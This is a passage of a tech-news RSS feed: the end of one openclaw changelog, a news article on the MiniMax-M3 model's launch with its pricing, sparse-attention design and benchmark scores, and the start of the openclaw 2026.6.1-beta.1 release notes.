<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[MiniMax-M3 debuts, eclipsing GPT-5.5 and Gemini 3.1 Pro on key benchmark performance for just 5-10% of the cost]]></title>
<description><![CDATA[Big news in enterprise AI broke over the weekend as Chinese AI startup MiniMax released its highly anticipated M3 large language model on Sunday evening Eastern time, pairing frontier-tier coding and agentic performance with a 1-million-token context window and native multimodality for a fraction...]]></description>
<link>https://tsecurity.de/de/3563910/it-nachrichten/minimax-m3-debuts-eclipsing-gpt-55-and-gemini-31-pro-on-key-benchmark-performance-for-just-5-10-of-the-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3563910/it-nachrichten/minimax-m3-debuts-eclipsing-gpt-55-and-gemini-31-pro-on-key-benchmark-performance-for-just-5-10-of-the-cost/</guid>
<pubDate>Mon, 01 Jun 2026 19:32:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Big news in enterprise AI broke over the weekend as Chinese AI startup<a href="https://www.minimax.io/blog/minimax-m3"> MiniMax released its highly anticipated M3 large language model</a> on Sunday evening Eastern time, pairing frontier-tier coding and agentic performance with a 1-million-token context window and native multimodality for a fraction of the cost of leading proprietary models, with pricing starting at just $20 per month under its new subscription token plans. </p><p>The company's leadership also announced plans to deliver the model under an open source license including "open weights," allowing for full enterprise downloading and customizability free-of-charge, coming sometime in the next 10 days. For now, it is available via the <a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax API</a> at a special discounted price of $0.3 per 1 million input tokens and $1.20 per million output tokens (on fresh cache) for the next week — beating proprietary U.S. giants like Google, OpenAI and Anthropic handily on cost, while also eclipsing the performance of the latest models from the former two on selected benchmarks.</p><p>Even at its full price of $0.6/$2.40 per million input/output tokens, MiniMax-M3 remains at just 8-20% the cost of the leading, proprietary U.S. models. </p><p>The traditional matrix governing large language model development has long dictated a rigid choice: software developers can either access top-tier closed-source intelligence behind restrictive APIs, or deploy nimble, cost-effective open models that falter on multi-step reasoning, dense coding tasks, and massive data sequences. MiniMax-M3 fundamentally upends this paradigm. </p><p>By unifying these two historically separated frontier capabilities, M3 introduces a level of comprehensive utility previously restricted to expensive, closed-source ecosystems, effectively shifting the baseline of open-weights systems while drastically minimizing the operational compute footprint required to execute complex development loops. </p><h2><b>VentureBeat Frontier AI Model API Pricing Snapshot</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input</b></p></td><td><p><b>Output</b></p></td><td><p><b>Total Cost</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p><b>MiniMax-M3</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$1.20</b></p></td><td><p><b>$1.50 (limited time only)</b></p></td><td><p><b></b><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise"><b>MiniMax</b></a><b></b></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>Grok 4.3 low context</p></td><td><p>$1.25</p></td><td><p>$2.50</p></td><td><p>$3.75</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>GLM-5</p></td><td><p>$1.00</p></td><td><p>$3.20</p></td><td><p>$4.20</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>Kimi-K2.6</p></td><td><p>$0.95</p></td><td><p>$4.00</p></td><td><p>$4.95</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k26">Moonshot/Kimi</a></p></td></tr><tr><td><p>GLM-5.1</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>Grok 4.3 high context</p></td><td><p>$2.50</p></td><td><p>$5.00</p></td><td><p>$7.50</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?spm=a2ty_o05.31384571.0.0.52649f6b7G0D55&amp;tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview ≤200K</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview &gt;200K</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr></tbody></table><h2><b>New MiniMax Sparse Attention (MSA) technique helps keep the model's cost low</b></h2><p>At the core of the model's efficiency lies an architectural departure from classic Transformer networks. Standard attention mechanisms scale quadratically<code> ($O(N^2)$)</code>, meaning computational and financial costs explode as text inputs lengthen. </p><p>To combat this "inherent flaw," the engineering team implements MiniMax Sparse Attention (MSA), a clean, extensible sparse attention blueprint. </p><p>To visualize this innovation, think of traditional full attention as an editor reading an entire library from scratch every time they need to verify a single sentence. MSA acts as an<i> intelligent indexing clerk</i>, using a pre-filtering phase to partition Key-Value (KV) matrices into highly precise blocks. </p><p>At the operator level, MSA uses a "KV outer gather Q" approach. The system treats KV blocks as an outer loop, dynamically aggregating only the specific queries that hit them. Because each data block is read exactly once and memory access remains strictly contiguous, hardware utilization skyrockets. </p><p>In internal trials, MSA runs more than 4x faster than alternative open-source solutions like Flash-Sparse-Attention or flash-moba. </p><p>When managing a maxed-out context length of 1 million tokens, M3’s per-token compute demand drops to just 1/20th of the previous generation model, translating into a 9x acceleration in the prefilling stage and a 15x boost during decoding. </p><p>Rather than taking a pretrained text network and fusing it with a separate vision model, MiniMax engineered M3 as a natively multimodal system from "Step Zero". </p><p>The company overhauled its data ingest machinery to blend naturally interleaved sequences of text, images, and visual components, scaling the total pretraining corpus beyond 100 trillion tokens.</p><p>This deep data alignment enables the model to translate complex visual geometries, such as programming charts or coordinate maps, into structural code without losing contextual fidelity. On standardized assessments, M3 validates this engineering path. </p><p>The model records a <b>59.0% on SWE-Bench Pro</b>, an autonomous agent metric, <b>positioning it ahead of closed models like GPT-5.5 and Gemini 3.1 Pro.</b> It achieves a 66.0% on Terminal Bench 2.1, a 74.2% on MCP Atlas, and an 83.5 on BrowseComp—outstripping Claude Opus 4.7’s benchmark score of 79.3 in autonomous browsing and information retrieval. </p><p>However, when contrasted with Anthropic's newly released, premium frontier model, Claude Opus 4.8, from last week, the competitive ceiling of M3's efficient sparse-attention footprint becomes evident across directly comparable, tool-intensive agent benchmarks. </p><p>In the domain of pure code modification <b>on SWE-Bench Pro, M3’s 59.0% score drops behind Opus 4.8’s leading 69.2% threshold. </b></p><p>A similar performance delta manifests in automated system environments via Terminal-Bench 2.1; while <b>M3’s 66.0% terminal execution score effectively runs neck-and-neck with the previous-generation Opus 4.7 </b>baseline of 66.1%, <b>it trails the upgraded Opus 4.8 architecture, which achieves 74.6%. </b></p><p>Furthermore, evaluations tracking continuous GUI interaction on the OSWorld-Verified sandbox place M3’s automated computer use at 70.0%, compared to a higher 83.4% validation rate secured by Opus 4.8. </p><p>These standardized evaluations illustrate the structural trade-offs currently defining the ecosystem: closed-source systems like Opus 4.8 maintain absolute margin leads on hyper-complex reasoning vectors, yet M3 delivers a highly capable baseline of local, tier-one automated operation without the compounding premium of closed-door API subscription fees. </p><p>When positioned alongside the <b>heavy-duty inference metrics of the newly minted, fellow open weights model DeepSeek-V4 Pro Max, </b>M3 holds its ground across core agentic categories while asserting narrow advantages in specialized code synthesis. </p><p>On the software engineering matrix of SWE-Bench Pro<b>, M3's 59.0% resolution efficiency edges past DeepSeek-V4 Pro Max’s score of 55.4%. </b></p><p>However, the competitive friction tightens in command-line environments; under Terminal Bench evaluations, DeepSeek-V4 Pro Max pulls slightly ahead with a 67.9% execution accuracy over M3’s 66.0% mark. </p><p>In web orchestration and open-world browsing simulations, the two architectures reach a virtual statistical parity, with M3 registering an 83.5% on BrowseComp compared to DeepSeek's 83.4%. </p><p>Similarly, on the MCP Atlas tool-use framework,<b> M3 secures a narrow lead at 74.2% against DeepSeek’s 73.6%.</b></p><p>This close alignment demonstrates that while DeepSeek handles a massive 1.6-trillion total parameter footprint with specialized high-effort reasoning modes, MiniMax's block-filtered sparse attention mechanism yields directly competitive execution efficiencies without requiring extensive parameter activation scaling.</p><h2><b>MiniMax Code AI agent offers Agentic Team capabilities</b></h2><p>MiniMax translates these architectural gains into immediate utility through an updated product suite divided between standalone applications, customizable subscription tiers, and raw developer infrastructure. For end-user orchestration, the flagship implementation is <b>MiniMax Code</b>, an AI agent product designed to maximize M3's multi-step capabilities. </p><p>Operating via web or native desktop apps, MiniMax Code runs an "Agent Team" capable of breaking massive engineering tasks into multi-stage, concurrent workflows. </p><p>The system relies on a "Producer + Verifier" adversarial harness loop. As one agent instance generates code, a secondary verifier instance aggressively tests and reflects upon execution outputs, allowing the network to self-correct and operate autonomously for days without human oversight. Because of its native visual grounding, MiniMax Code supports direct computer use. </p><p>A developer can issue a cross-application voice prompt via their phone to have the model open a localized enterprise ERP client and batch-populate data tables directly from an open Excel spreadsheet. </p><p>For custom setups, developers can pipeline M3 directly into existing workflows using an API key (<code>sk-cp</code>) compatible with common alternative IDE environments like Claude Code, Cursor, Roo Code, and Cline. The API introduces a toggleable "thinking mode". </p><p>When enabled, M3 routes processing power into deep reasoning and long-horizon planning; when disabled, the model runs at minimal latency for quick text completion. The companion <b>Token Plan</b> models an aggressive pricing strategy structured around shared multimodal quotas. Billed annually, three options are available: </p><ul><li><p><b>Plus ($20/month)</b>: Supplies ~1.7B tokens per month and handles 3–4 concurrent agents. </p></li><li><p><b>Max ($50/month)</b>: Supplies ~5.1B tokens per month, manages 4–5 concurrent agents, and adds 3 automated video clips per day via Hailuo 2.3. </p></li><li><p><b>Ultra ($120/month)</b>: Supplies ~9.8B tokens per month, facilitates 6–7 concurrent agents, and extends video capacity to 5 daily clips. </p></li></ul><h2><b>Open weights makes M3 much more attractive for enterprise use</b></h2><p>MinMax's pledge to release M3 under an open-weights license model—with weights and technical documentation launching on HuggingFace and GitHub within 10 days—carries significant strategic weight for enterprise infrastructure managers. </p><p>However, it is still to be determined precisely which license the weights will be available under, and whether or not it will be permissible for consumer usage, e.g. MIT, Apache 2.0 or the new <a href="https://huggingface.co/blog/linuxfoundation/openmdw">OpenMDW license</a>. If so, the calculus looks like this: </p><table><tbody><tr><td><p><b>Feature / Model Attribute</b></p></td><td><p><b>Closed API Providers (e.g., GPT-5.5, Opus 4.7)</b></p></td><td><p><b>Open-Weights Frontier (MiniMax M3)</b></p></td></tr><tr><td><p><b>Data Privacy &amp; Boundaries</b></p></td><td><p>Requires external API requests; potential data ingestion vectors.</p></td><td><p>Total local isolation; runs entirely inside private user clusters. </p></td></tr><tr><td><p><b>Custom Optimization</b></p></td><td><p>Limited to basic fine-tuning wrappers or prompt engineering.</p></td><td><p>Full pipeline control; architecture allows deep adapter/weights customization. </p></td></tr><tr><td><p><b>Cost Vector Consistency</b></p></td><td><p>Bound to perpetual per-token API pricing models. </p></td><td><p>Computational demands cut to 1/20th; mitigates hardware ceiling. </p></td></tr></tbody></table><p>By shipping the underlying model weights directly to the community, MiniMax departs from the closed-door approach favored by major American AI labs. </p><p>For enterprise users bound by strict compliance and privacy rules, open weights mean they can run M3 locally on internal hardware. </p><p>This setup completely removes the risk of data leakage associated with public APIs. Furthermore, it permits engineering teams to run bespoke fine-tuning passes, modify internal architectures, or embed specialized system prompts deep within the model layers—transforming an off-the-shelf system into a highly targeted proprietary asset. </p><h2><b>Initial community reactions are resoundingly positive</b></h2><p>The developer ecosystem reacted immediately to M3’s operational benchmarks, singling out its long-horizon autonomous behavior and cost-to-performance profile. </p><p>A major focal point of discussion is a 12-hour automated verification test where M3 was tasked with reproducing an ICLR 2025 Outstanding Paper Award winner, titled <i>"Learning Dynamics of LLM Finetuning"</i>.  </p><p>As MiniMax's own researcher <a href="https://x.com/MikaStars39/status/2061295261289529839">@MikaStars39 </a>highlighted on X: </p><blockquote><p>"M3 ran autonomously for nearly 12 hours, producing 18 commits and 23 experimental figures on its own, and got the core experiments working:</p></blockquote><ul><li><p>it matched the predicted probability trends in the SFT stage</p></li><li><p>clearly observed the squeezing effect central to the DPO experiments</p></li><li><p>validated the Extend mitigation method proposed in the original paper." </p></li></ul><p>Simultaneously, creators of developer tools highlighted the practical economic advantages of the model's new attention mechanism. The official team behind the agentic AI coding harness <a href="https://x.com/cline/status/2061287441575858253">Cline</a> posted an alert confirming day-one compatibility, stating: </p><blockquote><p>"The new MiniMax-M3 is their first model to have 1m context, multimodal, and agentic coding capability. Congratulations to @MiniMax_AI for the breakthrough in sparse-attention architecture cutting compute &amp; cost to 1/20th their previous generation." </p></blockquote><p>This sharp drop in execution costs shifts how developers view the relationship between financial investment and capability. Tech commentator <a href="https://x.com/jumperz/status/2061376241572151513">@jumperz</a> mapped out this disruption, noting how M3 breaks a historical pattern in machine learning pricing:</p><div></div><p>By addressing context scaling limitations through fundamental attention-level optimizations rather than brute-force hardware scaling, MiniMax has established a highly efficient open-source baseline. M3 demonstrates that the next phase of agent development will not just be driven by larger datasets, but by efficient architectural choices that make frontier-level performance accessible to the broader open-source community. </p><p>For enterprises building autonomous software development or agent infrastructure, <b>MiniMax M3 provides the ultimate "bang for the buck."</b></p><p>While DeepSeek-V4 Pro holds a microscopic price advantage of $0.195 per million tokens, MiniMax M3 justifies its marginal premium by delivering superior autonomous software engineering resolution rates (59.0% SWE-Bench Pro). </p><p>More importantly, because M3 is an open-weights model, the calculation extends far beyond the API chart. By deploying M3's weights locally inside private enterprise clouds, organizations completely bypass cloud data egress tracking, eliminate structural vendor lock-in, and can implement custom prefix-caching models on internal hardware. This technical approach transforms a highly efficient runtime budget into a permanent, privately owned corporate asset.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.6.1-beta.1]]></title>
<description><![CDATA[2026.6.1
Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Sl...]]></description>
<link>https://tsecurity.de/de/3562543/downloads/openclaw-202661-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3562543/downloads/openclaw-202661-beta1/</guid>
<pubDate>Mon, 01 Jun 2026 11:46:18 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.6.1</h2>
<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.</li>
<li>Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401582392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79072" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/79072/hovercard" href="https://github.com/openclaw/openclaw/issues/79072">#79072</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4403061400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79173/hovercard" href="https://github.com/openclaw/openclaw/pull/79173">#79173</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeus1959/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeus1959">@zeus1959</a>.</li>
<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skill Workshop now has a fuller Control UI flow with proposal lists, today actions, revision handoff, searchable file previews, review states, locale coverage, and reusable session routing.</li>
<li>Chat and Control UI startup paths keep sends alive through history loading, stream deltas incrementally, skip markdown work while streaming, keep drafts local while typing, trace first-output latency, and expose calmer composer controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558851324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88772/hovercard" href="https://github.com/openclaw/openclaw/pull/88772">#88772</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559381540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88825" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88825/hovercard" href="https://github.com/openclaw/openclaw/pull/88825">#88825</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561424737" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88998" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88998/hovercard" href="https://github.com/openclaw/openclaw/pull/88998">#88998</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Provider coverage and model metadata now include MiniMax M3, account OAuth endpoints, Google/Vertex catalog fixes, OpenRouter SQLite model caching, Copilot Claude 1M capabilities, Foundry reasoning alignment, and OpenAI response replay guards. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556082619" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88480" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/88480/hovercard" href="https://github.com/openclaw/openclaw/issues/88480">#88480</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556466505" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88512" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88512/hovercard" href="https://github.com/openclaw/openclaw/pull/88512">#88512</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559632397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88851/hovercard" href="https://github.com/openclaw/openclaw/pull/88851">#88851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559735267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88860/hovercard" href="https://github.com/openclaw/openclaw/pull/88860">#88860</a>)</li>
<li>iMessage monitor state, inbound queues, and plugin install ledgers moved toward SQLite-backed state so restarts and local monitors recover with less duplicate filesystem scanning. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559074657" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88794/hovercard" href="https://github.com/openclaw/openclaw/pull/88794">#88794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4559113281" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88797" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88797/hovercard" href="https://github.com/openclaw/openclaw/pull/88797">#88797</a>)</li>
<li>Release, CI, Docker, E2E, plugin install, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, status polling, and rollback snapshots so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skill Workshop: add the Control UI navigation, styled dashboard, proposal today view, revision dialog, file preview modal, searchable preview files, reusable session handoff, and localized strings.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
